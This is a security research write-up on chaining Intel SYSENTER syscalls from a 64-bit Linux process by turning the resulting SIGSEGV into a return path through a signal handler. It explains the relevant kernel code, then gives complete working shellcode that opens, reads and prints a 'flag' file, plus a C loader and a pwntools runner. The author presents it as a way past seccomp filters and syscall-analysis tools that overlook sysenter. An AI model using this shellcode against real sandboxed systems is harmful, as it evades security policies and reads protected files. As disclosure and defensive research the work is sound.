Chaining SYSENTER on Intel x86-64
Understanding SYSENTER
While researching alternate ways to execute syscalls, I couldn’t find any document on how to chain SYSENTER calls from a 64 bit process. This led me to investigate Linux’s compatibility syscall path and eventually develop a signal-based chaining technique.
The first part of this was finding how sysenter receives arguments for the syscall; for this, I referenced the Linux kernel source, namely this file
From the comments in the reference file, we get the calling convention
- eax -> syscall number
- ebx -> arg1
- ecx -> arg2
- edx -> arg3
- esi -> arg4
- edi -> arg5
- [ebp] -> arg6
However, as I quickly figured out, this syscall was designed for 32 bit user space; it was crashing right after it ran. The code that makes it crash is in this kernel file, namely
unsigned long landing_pad = (unsigned long)current->mm->context.vdso +
vdso32_image.sym_int80_landing_pad;
/*
* SYSENTER loses EIP, and even SYSCALL32 needs us to skip forward
* so that 'regs->ip -= 2' lands back on an int $0x80 instruction.
* Fix it up.
*/
regs->ip = landing_pad;
The kernel tries to use the 32 bit vDSO as a landing pad. However, our process is launched as a 64 bit ELF, so it will have the 64 bit vDSO mapped. The kernel will use the 32 bit vDSO offset, which will cause a SIGSEGV.
While we could just reduce the scope to just 32 bit binaries, why not try for more?
With the instruction dying after executing shellcode, it looks pretty grim. However, not all hope is lost; the syscall still gets executed. This is enough to call execve. Since, in today’s world, that is commonly restricted in sandboxes, our goal will be to achieve multiple syscalls.
Turning SIGSEGV into a feature
With this in mind, I started looking into sigaction. This syscall allows us to register custom handlers for multiple signals, one of which is SIGSEGV, the one that crashes our shellcode. This means we could, in theory, catch it and have the handler return to our shellcode.
Side note: I will be adding code snippets for stuff linked with source as code lines may change. Also, this requires having some valid pointers in the 32 bit zone so we can use them in 32 bit registers.
The nice part about this syscall is that it is usually allowed by seccomp policies. Even Chromium’s base seccomp policy allows signal handling syscalls, one of which is rt_sigaction link
SyscallSets::IsAllowedProcessStartOrDeath(sysno) ||
SyscallSets::IsAllowedSignalHandling(sysno) ||
SyscallSets::IsGetSimpleId(sysno) ||
bool SyscallSets::IsAllowedSignalHandling(int sysno) {
switch (sysno) {
case __NR_rt_sigaction:
case __NR_rt_sigprocmask:
case __NR_rt_sigreturn:
case __NR_rt_sigtimedwait:
// Used by Crashpad or Bionic to set up signal handler stacks. An alternate
// signal handler stack allows the kernel to deliver signals to threads
// whose stack pointers no longer point to their main stack, e.g. stack
// overflow.
case __NR_sigaltstack:
#if defined(__i386__) || defined(__arm__) || \
(defined(ARCH_CPU_MIPS_FAMILY) && defined(ARCH_CPU_32_BITS))
case __NR_rt_sigtimedwait_time64:
case __NR_sigaction:
Executing the first SYSENTER
Now, to set up the handler, we first must set up the sigaction structure; it looks something like this
struct sigaction_32 {
uint32_t sa_handler;
uint32_t sa_flags;
uint32_t sa_restorer;
uint64_t sa_mask;
};
sa_handleris the function called whenSIGSEGVoccurssa_flagsneeds to have some bits set so our shellcode works; more on this belowsa_restoreris the code executed after our handler returnssa_maskcan just be set to0
We do not set a sa_restorer, as our handler will not be returning normally, but instead it will jump back to the shellcode.
We set SA_SIGINFO so we get access to the saved CPU context, and SA_NODEFER so that we can trigger the same signal multiple times while its handler is executing without needing to stop handler execution. If we didn’t have SA_NODEFER set, the 2nd SIGSEGV would not reach the handler, source
sigorsets(&blocked, ¤t->blocked, &ksig->ka.sa.sa_mask);
if (!(ksig->ka.sa.sa_flags & SA_NODEFER))
sigaddset(&blocked, ksig->sig);
set_current_blocked(&blocked);
This is the relevant assembly code building the sigaction structure
lea rax, [rip + segv_handler]
mov dword ptr [rbp + 0x20], eax
mov dword ptr [rbp + 0x24], 0x40000004
mov qword ptr [rbp + 0x2c], 0
Now we set up the continuation addresses; this will be relevant later so we have what to jump to from the handler. We load these in before each sysenter call. We also save a file name, as the shellcode I am testing has the goal of open + read + write
lea rax, [rip + after_sigaction]
mov dword ptr [rbp + 0x00], eax
lea rax, [rip + after_open]
mov dword ptr [rbp + 0x04], eax
lea rax, [rip + after_read]
mov dword ptr [rbp + 0x08], eax
lea rax, [rip + after_write]
mov dword ptr [rbp + 0x0c], eax
mov qword ptr [rbp + 0x40], 0x0067616c66
Next, we just set up a rt_sigaction call with our first sysenter; we load our continuation address, we load the signal number we catch in ebx, a pointer to the sigaction structure in ecx, set edx to 0 (this means we ignore the old handler), and esi to 8 (required size of kernel signal mask)
mov edi, dword ptr [rbp]
mov eax, 174
mov ebx, 11
lea ecx, [rbp + 0x20]
xor edx, edx
mov esi, 8
push rbp
mov ebp, esp
sysenter
We are using push rbp / push ebp and mov ebp, esp before each sysenter so we preserve our ebp pointer between calls; this is because of this kernel function source
res = get_user(*(u32 *)®s->bp,
(u32 __user __force *)(unsigned long)(u32)regs->sp);
Now this will call rt_sigaction, then cause a SIGSEGV, and the control flow will be redirected to our segv_handler. From now on, the shellcode we write must be 32 bit compatible, as the kernel will switch to 32 bit compatibility mode after the sysenter call. This is done by the sysretl call in the kernel, linked here
xorl %r8d, %r8d
xorl %r9d, %r9d
xorl %r10d, %r10d
swapgs
CLEAR_CPU_BUFFERS
sysretl
The simplest way to do this for me was to just start using 32 bit registers from now on.
Recovering execution after SIGSEGV
After the SIGSEGV is hit, the kernel saves the CPU state inside a signal frame. The saved eax is at offset 0x40 within the ucontext_t structure, source. A pointer to the saved ucontext_t structure is returned in ecx source, and edi preserves the continuation address as the kernel leaves it unchanged (there is no assignment to regs->di in this function).
regs->ax = ksig->sig;
regs->dx = (unsigned long) &frame->info;
regs->cx = (unsigned long) &frame->uc;
My constructed signal handler loads the return value of the previous call into eax, then jumps to the continuation address.
segv_handler:
mov eax, dword ptr [ecx + 0x40]
jmp edi
From here on, it is pretty smooth sailing; we just load the continuation address, then set up each call.
For open, we load the previously saved file name, syscall number, specify open flags, O_RDONLY in this case, and call open.
.code32
after_sigaction:
mov edi, dword ptr [ebp + 0x04]
lea ebx, [ebp + 0x40]
xor ecx, ecx
mov eax, 5
push ebp
mov ebp, esp
sysenter
For read, we use the return value placed in eax by our segv_handler to get the newly created fd, then load the size and a place in memory to place our data.
.code32
after_open:
mov edi, dword ptr [ebp + 0x08]
mov ebx, eax
lea ecx, [ebp + 0x80]
mov edx, 0x100
mov eax, 3
push ebp
mov ebp, esp
sysenter
For write, we just print from that place in memory with the size that was successfully read (we again use the return value in eax for this)
.code32
after_read:
mov edi, dword ptr [ebp + 0x0c]
mov edx, eax
mov ebx, 1
lea ecx, [ebp + 0x80]
mov eax, 4
sysenter
Finally, I just exit
.code32
after_write:
mov eax, 1
xor ebx, ebx
sysenter
Real-world implications
While researching this technique, I came across several projects that do not account for sysenter when doing syscall discovery
- Callander does not account for
sysenterbeing usable on 64 bit processes link - Chestnut, a PoC for the paper on automating seccomp filter generation, does not account for
sysenterlink
I must restate that the technique itself is Intel-specific, and requires executable code and data write access in the 32-bit address range. The sysenter call is blocked on AMD processors in non-legacy mode, with them returning SIGILL; for source, see page 33 of this PDF
Proof of Concept
Below are the required files for testing this locally
shellcode
sub rsp, 0x200
mov rbp, rsp
lea rax, [rip + after_sigaction]
mov dword ptr [rbp + 0x00], eax
lea rax, [rip + after_open]
mov dword ptr [rbp + 0x04], eax
lea rax, [rip + after_read]
mov dword ptr [rbp + 0x08], eax
lea rax, [rip + after_write]
mov dword ptr [rbp + 0x0c], eax
lea rax, [rip + segv_handler]
mov dword ptr [rbp + 0x20], eax
mov dword ptr [rbp + 0x24], 0x40000004
mov qword ptr [rbp + 0x2c], 0
mov qword ptr [rbp + 0x40], 0x0067616c66
mov edi, dword ptr [rbp]
mov eax, 174
mov ebx, 11
lea ecx, [rbp + 0x20]
xor edx, edx
mov esi, 8
push rbp
mov ebp, esp
sysenter
.code32
after_sigaction:
mov edi, dword ptr [ebp + 0x04]
lea ebx, [ebp + 0x40]
xor ecx, ecx
mov eax, 5
push ebp
mov ebp, esp
sysenter
after_open:
mov edi, dword ptr [ebp + 0x08]
mov ebx, eax
lea ecx, [ebp + 0x80]
mov edx, 0x100
mov eax, 3
push ebp
mov ebp, esp
sysenter
after_read:
mov edi, dword ptr [ebp + 0x0c]
mov edx, eax
mov ebx, 1
lea ecx, [ebp + 0x80]
mov eax, 4
push ebp
mov ebp, esp
sysenter
after_write:
mov eax, 1
xor ebx, ebx
sysenter
segv_handler:
mov eax, dword ptr [ecx + 0x40]
jmp edi
source.c
// compiled with `gcc source.c -o test`
#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
int main(void) {
void *code = mmap(0, 0x1000, 7,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT, -1, 0);
void *stack = mmap(0, 0x10000, 3,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT, -1, 0);
if (code == MAP_FAILED || stack == MAP_FAILED)
return 1;
read(0, code, 0x1000);
void *sp = (char *)stack + 0x10000 - 16;
__asm__ volatile(
"mov %0, %%rsp\n"
"jmp *%1\n"
:
: "r"(sp), "r"(code)
: "memory"
);
__builtin_unreachable();
}
flag
test_file
runner.py
from pwn import *
context.arch = 'amd64'
p = process('./test')
SYSENTER_ORW = r"""
sub rsp, 0x200
mov rbp, rsp
lea rax, [rip + after_sigaction]
mov dword ptr [rbp + 0x00], eax
lea rax, [rip + after_open]
mov dword ptr [rbp + 0x04], eax
lea rax, [rip + after_read]
mov dword ptr [rbp + 0x08], eax
lea rax, [rip + after_write]
mov dword ptr [rbp + 0x0c], eax
lea rax, [rip + segv_handler]
mov dword ptr [rbp + 0x20], eax
mov dword ptr [rbp + 0x24], 0x40000004
mov qword ptr [rbp + 0x2c], 0
mov qword ptr [rbp + 0x40], 0x0067616c66
mov edi, dword ptr [rbp]
mov eax, 174
mov ebx, 11
lea ecx, [rbp + 0x20]
xor edx, edx
mov esi, 8
push rbp
mov ebp, esp
sysenter
.code32
after_sigaction:
mov edi, dword ptr [ebp + 0x04]
lea ebx, [ebp + 0x40]
xor ecx, ecx
mov eax, 5
push ebp
mov ebp, esp
sysenter
after_open:
mov edi, dword ptr [ebp + 0x08]
mov ebx, eax
lea ecx, [ebp + 0x80]
mov edx, 0x100
mov eax, 3
push ebp
mov ebp, esp
sysenter
after_read:
mov edi, dword ptr [ebp + 0x0c]
mov edx, eax
mov ebx, 1
lea ecx, [ebp + 0x80]
mov eax, 4
push ebp
mov ebp, esp
sysenter
after_write:
mov eax, 1
xor ebx, ebx
sysenter
segv_handler:
mov eax, dword ptr [ecx + 0x40]
jmp edi
"""
p.send(asm(SYSENTER_ORW))
p.interactive()